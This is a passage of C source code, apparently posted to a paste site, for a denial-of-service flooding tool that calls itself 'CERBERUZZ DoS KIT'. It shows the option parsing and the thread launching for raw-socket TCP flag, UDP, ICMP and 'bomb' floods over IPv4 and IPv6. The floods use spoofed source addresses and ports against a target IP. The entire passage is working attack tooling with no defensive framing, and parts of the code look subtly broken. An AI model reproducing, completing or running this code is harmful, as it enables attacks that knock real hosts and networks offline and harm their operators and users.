  689. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.udp)+param2->datasize);
  690. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6.ip + sizeof packet6.udp));
  691. packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ? random () : htons(thread_data_array[0].s_lport + (random() % (thread_data_array[0].s_hport -
  692. thread_data_array[0].s_lport + 1)));
  693. packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ? random () : htons(thread_data_array[0].d_lport + (random() % (thread_data_array[0].d_hport -
  694. thread_data_array[0].d_lport + 1)));
  695. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  696. packet6.udp.uh_sum = in_cksum((void *)&packet6, sizeof(packet6));
  697. }
  698. param2->packets++;
  699. //} while (send(param2->socket, &packet6, sizeof(packet6), 0));
  700. } while (sendto(param2->socket, &packet6.udp, (sizeof packet6), 0, (struct sockaddr *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)));
  701. }
  702. return 0;
  703. }
  704.  
  705. const char *banner_name = " \e[1;37m(\e[0m\e[0;31mCERBERUZZ\e[0m\e[1;37m)\e[0m-\e[1;37mDoS\e[0m-\e[1;37m(\e[0m\e[0;31mKIT\e[0m\e[1;37m)\e[0m";
  706. const char *banner_types = " [\e[4mTCP\e[0m - \e[4mICMP\e[0m - \e[4mUDP\e[0m] - \e[4mBMB\e] [0m\n";
  707. const char *banner_version = " \e[4m[v1.3.3.7]\e[0m";
  708.  
  709. static void usage(const char *argv0) {
  710. printf("%s \n", banner_name);
  711. printf("%s \n", banner_types);
  712. printf("%s \n\n", banner_version);
  713. printf(" -4 IPV4\n");
  714. printf(" -6 IPV6\n\n");
  715. printf(" -U UDP Attack [size(0-32)] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n");
  716. printf(" -I ICMP Attack \e[1;37m(\e[0m\e[0;31mNo options\e[0m\e[1;37m)\e[0m\n\n");
  717. printf(" -T TCP Attack [type,size(0-208)] \e[1;37m[\e[0m0:FIN 1: SYN\e[1;37m]\e[0m\n");
  718. printf(" \e[1;37m[\e[0m2:RST 3:PUSH\e[1;37m]\e[0m\n");
  719. printf(" \e[1;37m[\e[0m4:ACK 5: URG\e[1;37m]\e[0m\n");
  720. printf(" \e[1;37m[\e[0m6:ECE 7: CWR\e[1;37m]\e[0m\n");
  721. printf(" \e[1;37m[\e[0m8:NOF 9:FRAG\e[1;37m]\e[0m\n\n");
  722. printf(" \e[1;37m[\e[0m10: TCP SYN-ACK PAN ATTACK\e[1;37m]\e[0m\n\n");
  723. printf(" -B BMB Attack [type,size] \e[1;37m[\e[0m0:TCP 1:UDP 2:RAW_IPV6\e[1;37m]\e[0m\n\n");
  724. printf(" -h Destination ip \e[1;37m(\e[0m\e[0;31mNo default\e[0m\e[1;37m)\e[0m\n");
  725. printf(" -d Destination class \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  726. printf(" -s Source class/ip \e[1;37m(\e[m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n\n");
  727. printf(" -p Destination port range [start,end] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n");
  728. printf(" -q Source port range [start,end] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n\n");
  729. printf(" -t Timeout \e[1;37m(\e[0m\e[0;31mNo default\e[0m\e[1;37m)\e[0m\n\n");
  730. printf(" -w Window Size [ 1-65535 ] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n");
  731. printf("\n\n\e[4mUsage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n\n", argv0);
  732. exit(-1);
  733. }
  734.  
  735. int main(int argc, char *argv[]) {
  736. int i = 0, n;
  737. int on = 1;
  738. struct sockaddr_in DestAddress4;
  739. struct sockaddr_in6 DestAddress6;
  740. thread_data_array[0].a_flags = 0;
  741. thread_data_array[0].window_size = 0;
  742. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  743. thread_data_array[i].a_flags = 0;
  744. }
  745. while ((n = getopt(argc, argv, "46:TBIU:h:d:s:t:p:q:w:")) != -1) {
  746. char *p;
  747. unsigned int datasize = 0;
  748. unsigned int window_size = 0;
  749. switch (n) {
  750. case '4':
  751. thread_data_array[0].flag4 = 1;
  752. break;
  753. case '6':
  754. thread_data_array[0].flag6 = 1;
  755. break;
  756. case 'T':
  757. if ((p = (char *) strchr(optarg, ',')) == NULL)
  758. datasize = 4;
  759. if(datasize == 0)
  760. datasize = atoi(p + 1);
  761. if(datasize > 4096)
  762. datasize = 4096;
  763. switch (atoi(optarg)) {
  764. case 0:
  765. thread_data_array[TCP_FIN].initialized = 1;
  766. thread_data_array[0].a_flags |= TCP_FIN;
  767. thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  768. thread_data_array[TCP_FIN].datasize = datasize;
  769. break;
  770. case 1:
  771. thread_data_array[TCP_SYN].initialized = 1;
  772. thread_data_array[0].a_flags |= TCP_SYN;
  773. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  774. thread_data_array[TCP_SYN].datasize = datasize;
  775. break;
  776. case 2:
  777. thread_data_array[TCP_RST].initialized = 1;
  778. thread_data_array[0].a_flags |= TCP_RST;
  779. thread_data_array[TCP_RST].a_flags |= TCP_RST;
  780. thread_data_array[TCP_RST].datasize = datasize;
  781. break;
  782. case 3:
  783. thread_data_array[TCP_PSH].initialized = 1;
  784. thread_data_array[0].a_flags |= TCP_PSH;
  785. thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  786. thread_data_array[TCP_PSH].datasize = datasize;
  787. break;
  788. case 4:
  789. thread_data_array[TCP_ACK].initialized = 1;
  790. thread_data_array[0].a_flags |= TCP_ACK;
  791. thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  792. thread_data_array[TCP_ACK].datasize = datasize;
  793. break;
  794. case 5:
  795. thread_data_array[TCP_URG].initialized = 1;
  796. thread_data_array[0].a_flags |= TCP_URG;
  797. thread_data_array[TCP_URG].a_flags |= TCP_URG;
  798. thread_data_array[TCP_URG].datasize = datasize;
  799. break;
  800. case 6:
  801. thread_data_array[TCP_ECE].initialized = 1;
  802. thread_data_array[0].a_flags |= TCP_ECE;
  803. thread_data_array[TCP_ECE].a_flags |= TCP_ECE;
  804. thread_data_array[TCP_ECE].datasize = datasize;
  805. break;
  806. case 7:
  807. thread_data_array[TCP_CWR].initialized = 1;
  808. thread_data_array[0].a_flags |= TCP_CWR;
  809. thread_data_array[TCP_CWR].a_flags |= TCP_CWR;
  810. thread_data_array[TCP_CWR].datasize = datasize;
  811. break;
  812. case 8:
  813. thread_data_array[TCP_NOF].initialized = 1;
  814. thread_data_array[0].a_flags |= TCP_NOF;
  815. thread_data_array[TCP_NOF].a_flags |= TCP_NOF;
  816. thread_data_array[TCP_NOF].datasize = datasize;
  817. break;
  818. case 9:
  819. thread_data_array[TCP_FRG].initialized = 1;
  820. thread_data_array[0].a_flags |= TCP_FRG;
  821. thread_data_array[TCP_FRG].a_flags |= TCP_FRG;
  822. thread_data_array[TCP_FRG].datasize = datasize;
  823. case 10:
  824. thread_data_array[TCP_PAN].initialized = 1;
  825. thread_data_array[0].a_flags |= TCP_PAN;
  826. thread_data_array[TCP_PAN].a_flags |= TCP_PAN;
  827. thread_data_array[TCP_PAN].datasize = datasize;
  828. break;
  829. break;
  830. }
  831. break;
  832. case 'B':
  833. if ((p = (char *) strchr(optarg, ',')) == NULL)
  834. datasize = 64;
  835. if(datasize == 0)
  836. datasize = atoi(p + 1);
  837. if(datasize > 4096)
  838. datasize = 4096;
  839. switch (atoi(optarg)) {
  840. case 0:
  841. thread_data_array[TCP_BMB].initialized = 1;
  842. thread_data_array[0].a_flags |= TCP_BMB;
  843. thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  844. thread_data_array[TCP_BMB].datasize = datasize;
  845. break;
  846. case 1:
  847. thread_data_array[UDP_BMB].initialized = 1;
  848. thread_data_array[0].a_flags |= UDP_BMB;
  849. thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  850. thread_data_array[UDP_BMB].datasize = datasize;
  851. break;
  852. case 2:
  853. thread_data_array[RAW_BMB].initialized = 1;
  854. thread_data_array[0].a_flags |= RAW_BMB;
  855. thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
  856. thread_data_array[RAW_BMB].datasize = datasize;
  857. break;
  858. }
  859. break;
  860. case 'I':
  861. thread_data_array[ICMP_ECHO_G].initialized = 1;
  862. thread_data_array[0].a_flags |= ICMP_ECHO_G;
  863. thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
  864. break;
  865. case 'U':
  866. thread_data_array[UDP_CFF].initialized = 1;
  867. thread_data_array[0].a_flags |= UDP_CFF;
  868. thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
  869. thread_data_array[UDP_CFF].datasize = atoi(optarg);
  870. break;
  871. case 'h':
  872. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  873. DestAddress4.sin_family = AF_INET;
  874. inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
  875. thread_data_array[0].dstaddr = lookup(optarg);
  876. thread_data_array[0].destination4 =DestAddress4;
  877. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  878. DestAddress6.sin6_family = AF_INET6;
  879. inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
  880. thread_data_array[0].destination6=DestAddress6;
  881. } else {
  882. printf("[!] -4 and -6 can not both be specified ..\n\n");
  883. usage(argv[0]);
  884. }
  885. break;
  886. case 'd':
  887. thread_data_array[0].dst_class = optarg;
  888. break;
  889. case 's':
  890. thread_data_array[0].src_class = optarg;
  891. break;
  892. case 'p':
  893. if ((p = (char *) strchr(optarg, ',')) == NULL)
  894. usage(argv[0]);
  895. thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
  896. thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
  897. break;
  898. case 'q':
  899. if ((p = (char *) strchr(optarg, ',')) == NULL)
  900. usage(argv[0]);
  901. thread_data_array[0].s_lport = atoi(optarg); /* Source start port */
  902. thread_data_array[0].s_hport = atoi(p + 1); /* Source end port */
  903. break;
  904. case 't':
  905. thread_data_array[0].timeout = atoi(optarg);
  906. break;
  907. case 'w':
  908. window_size = atoi(optarg);
  909. if(window_size > 65535)
  910. window_size = 65535;
  911. thread_data_array[0].window_size = window_size;
  912. break;
  913. default:
  914. usage(argv[0]);
  915. break;
  916. }
  917. }
  918. if (!thread_data_array[0].timeout) {
  919. usage(argv[0]);
  920. }
  921. if (!thread_data_array[0].src_class) {
  922. if(thread_data_array[0].flag6 == 1) {
  923. static char ipstring[3];
  924. strcat(ipstring, "2001:");
  925. thread_data_array[0].src_class = class2ip6(ipstring);
  926. }
  927. }
  928. if ((!thread_data_array[0].flag4 && !thread_data_array[0].flag6) || (!thread_data_array[0].a_flags) || (!thread_data_array[0].timeout)) {
  929. usage(argv[0]);
  930. }
  931. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  932. int i;
  933. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  934. if (thread_data_array[i].initialized == 1 ) {
  935. if (thread_data_array[i].a_flags <= TCP_FRG || thread_data_array[i].a_flags == RAW_BMB || thread_data_array[i].a_flags == ICMP_ECHO_G) {
  936. if ((thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_IPV6)) < 0) { /* w00t - o therez more tho.. */
  937. perror("- socket");
  938. exit(-1);
  939. }
  940. } else if(thread_data_array[i].a_flags == TCP_BMB) {
  941. if ((thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  942. perror("- socket");
  943. exit(-1);
  944. }
  945. } else if(thread_data_array[i].a_flags == TCP_PAN) {
  946. if ((thread_data_array[i].socket = socket(PF_PACKET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  947. perror("- socket");
  948. exit(-1);
  949. }
  950. } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) { /* datagram here/fixed */
  951. if ((thread_data_array[i].socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
  952. perror("- socket");
  953. exit(-1);
  954. }
  955. }
  956. if (thread_data_array[i].a_flags != UDP_BMB) { /* fixed */
  957. if (setsockopt(thread_data_array[i].socket, IPPROTO_UDP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
  958. perror("- setsockopt");
  959. exit(-1);
  960. }
  961. if (setsockopt(thread_data_array[i].socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) {
  962. perror("- setsockopt");
  963. exit(-1);
  964. }
  965. }
  966. }
  967. }
  968. printf("[IPv4]: Packeting: (%s) from: (%s) with flags (%i) for (%i) secs ..\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class :
  969. inet_ntop(AF_INET,&thread_data_array[0].destination4.sin_addr, thread_data_array[0].DestIP4, sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class != NULL ?
  970. thread_data_array[0].src_class : "random",thread_data_array[0].a_flags, thread_data_array[0].timeout);
  971. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  972. int i;
  973. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  974. if (thread_data_array[i].initialized== 1 ) {
  975. if (thread_data_array[i].a_flags <= TCP_BMB || thread_data_array[i].a_flags <= TCP_PAN || thread_data_array[i].a_flags == RAW_BMB) { /* mod pan */
  976. if ((thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_IPV6)) < 0) {
  977. perror("- socket");
  978. exit(-1);
  979. }
  980. } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) { /* we will use datagram..so we have userland */
  981. if ((thread_data_array[i].socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
  982. perror("- socket");
  983. exit(-1);
  984. }
  985. } else if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  986. if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) {
  987. perror("- socket");
  988. exit(-1);
  989. }
  990. }
  991. if (thread_data_array[i].a_flags != UDP_BMB) {
  992. if (setsockopt(thread_data_array[i].socket, IPPROTO_UDP, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
  993. perror("- setsockopt");
  994. exit(-1);
  995. }
  996. }
  997. }
  998. }
  999. printf("[IPv6]: Packeting: (%s) from: (%s) with flags (%i) for (%i) secs ..\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class :
  1000. inet_ntop(AF_INET6,&thread_data_array[0].destination6.sin6_addr,
  1001. thread_data_array[0].DestIP6,sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags, thread_data_array[0].timeout);
  1002. }
  1003. signal (SIGINT, handle_exit);
  1004. signal (SIGTERM, handle_exit);
  1005. signal (SIGQUIT, handle_exit);
  1006. thread_data_array[0].start = time(NULL);
  1007. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  1008. if (thread_data_array[i].a_flags == TCP_FIN) {
  1009. thread_data_array[i].thread= i;
  1010. thread_data_array[i].packets = 0;
  1011. thread_data_array[i].th_flags = TH_FIN;
  1012. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1013. printf("+ Thread error:\n");
  1014. perror("- pthread_create()\n");
  1015. }
  1016. }
  1017. if (thread_data_array[i].a_flags == TCP_SYN) {
  1018. thread_data_array[i].thread= i;
  1019. thread_data_array[i].packets = 0;
  1020. thread_data_array[i].th_flags = TH_SYN;
  1021. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1022. printf("+ Thread error:\n");
  1023. perror("- pthread_create()\n");
  1024. }
  1025. }
  1026. if (thread_data_array[i].a_flags == TCP_RST) {
  1027. thread_data_array[i].thread= i;
  1028. thread_data_array[i].packets = 0;
  1029. thread_data_array[i].th_flags = TH_RST;
  1030. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1031. printf("+ Thread error:\n");
  1032. perror("- pthread_create()\n");
  1033. }
  1034. }
  1035. if (thread_data_array[i].a_flags == TCP_PSH) {
  1036. thread_data_array[i].thread= i;
  1037. thread_data_array[i].packets = 0;
  1038. thread_data_array[i].th_flags = TH_PUSH;
  1039. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1040. printf("+ Thread error:\n");
  1041. perror("- pthread_create()\n");
  1042. }
  1043. }
  1044. if (thread_data_array[i].a_flags == TCP_ACK) {
  1045. thread_data_array[i].thread= i;
  1046. thread_data_array[i].packets = 0;
  1047. thread_data_array[i].th_flags = TH_ACK;
  1048. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1049. printf("+ Thread error:\n");
  1050. perror("- pthread_create()\n");
  1051. }
  1052. }
  1053. if (thread_data_array[i].a_flags == TCP_PAN) {
  1054. thread_data_array[i].thread= i;
  1055. thread_data_array[i].packets = 0;
  1056. thread_data_array[i].th_flags = (TH_SYN || TH_ACK);
  1057. if(pthread_create(&attack_thread[i], NULL, &send_pan, (void *)&thread_data_array[i]) != 0) {
  1058. printf("+ Thread error:\n");
  1059. perror("- pthread_create()\n");
  1060. }
  1061. }
  1062. if (thread_data_array[i].a_flags == TCP_URG) {
  1063. thread_data_array[i].thread= i;
  1064. thread_data_array[i].packets = 0;
  1065. thread_data_array[i].th_flags = TH_URG;
  1066. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1067. printf("+ Thread error:\n");
  1068. perror("- pthread_create()\n");
  1069. }
  1070. }
  1071. if (thread_data_array[i].a_flags == TCP_ECE) {
  1072. thread_data_array[i].thread= i;
  1073. thread_data_array[i].packets = 0;
  1074. thread_data_array[i].th_flags = TH_ECE;
  1075. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1076. printf("+ Thread error:\n");
  1077. perror("- pthread_create()\n");
  1078. }
  1079. }
  1080. if (thread_data_array[i].a_flags == TCP_CWR) {
  1081. thread_data_array[i].thread= i;
  1082. thread_data_array[i].packets = 0;
  1083. thread_data_array[i].th_flags = TH_CWR;
  1084. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1085. printf("+ Thread error:\n");
  1086. perror("- pthread_create()\n");
  1087. }
  1088. }
  1089. if (thread_data_array[i].a_flags == TCP_NOF) {
  1090. thread_data_array[i].thread= i;
  1091. thread_data_array[i].packets = 0;
  1092. thread_data_array[i].th_flags = TH_NOF;
  1093. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1094. printf("+ Thread error:\n");
  1095. perror("- pthread_create()\n");
  1096. }
  1097. }
  1098. if (thread_data_array[i].a_flags == TCP_FRG) {
  1099. thread_data_array[i].thread= i;
  1100. thread_data_array[i].packets = 0;
  1101. thread_data_array[i].th_flags = TH_NOF;
  1102. if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
  1103. printf("+ Thread error:\n");
  1104. perror("- pthread_create()\n");
  1105. }
  1106. }
  1107. if (thread_data_array[i].a_flags == TCP_BMB) {
  1108. thread_data_array[i].thread= i;
  1109. thread_data_array[i].packets = 0;
  1110. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1111. printf("+ Thread error:\n");
  1112. perror("- pthread_create()\n");
  1113. }
  1114. }
  1115. if (thread_data_array[i].a_flags == UDP_BMB) {
  1116. thread_data_array[i].thread= i;
  1117. thread_data_array[i].packets = 0;
  1118. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1119. printf("+ Thread error:\n");
  1120. perror("- pthread_create()\n");
  1121. }
  1122. }
  1123. if (thread_data_array[i].a_flags == RAW_BMB) {
  1124. thread_data_array[i].thread= i;
  1125. thread_data_array[i].packets = 0;
  1126. if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
  1127. printf("+ Thread error:\n");
  1128. perror("- pthread_create()\n");
  1129. }
  1130. }
  1131. if (thread_data_array[i].a_flags == UDP_CFF) {
  1132. thread_data_array[i].thread= i;
  1133. thread_data_array[i].packets = 0;
  1134. if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0) {
  1135. printf("+ Thread error:\n");
  1136. perror("- pthread_create()\n");
  1137. }
  1138. }
  1139. if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  1140. thread_data_array[i].thread= i;
  1141. thread_data_array[i].packets = 0;
  1142. if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0) {
  1143. printf("+ Thread error:\n");
  1144. perror("- pthread_create()\n");
  1145. }
  1146. }
  1147. }
  1148. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  1149. if(attack_thread[i] != 0)
  1150. pthread_join(attack_thread[i], NULL);
  1151. }
  1152. exit(0);
  1153. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement